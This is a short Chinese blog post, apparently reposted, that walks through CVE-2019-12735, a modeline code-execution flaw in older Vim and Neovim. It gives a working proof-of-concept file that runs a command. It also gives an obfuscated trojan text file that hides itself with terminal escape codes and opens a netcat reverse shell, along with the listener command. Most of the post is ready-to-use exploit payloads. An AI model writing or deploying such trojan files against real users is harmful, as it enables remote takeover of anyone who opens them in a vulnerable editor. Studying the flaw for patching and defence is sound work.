文本编辑器Vim/Neovim任意代码执行漏洞(CVE-2019-12735)

受影响版本:

Vim < 8.1.1365, Neovim < 0.3.6

前提:开启modeline

0x01 开启modeline

在你的home下的.vimrc文件中增加一行:

set modeline

0x02 Poc

创建文件poc.txt,内容为

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

输入命令 $vim poc.txt

系统将会执行uname -a

0x03 反弹shell

创建shell.txt,内容如下

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

开启两个终端:

一个输入命令 $nc -lvvp 9999

另一个命令为 $vim shell.txt

成功反弹shell

参考链接:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

猜你喜欢

转载自www.cnblogs.com/paperpen/p/10984502.html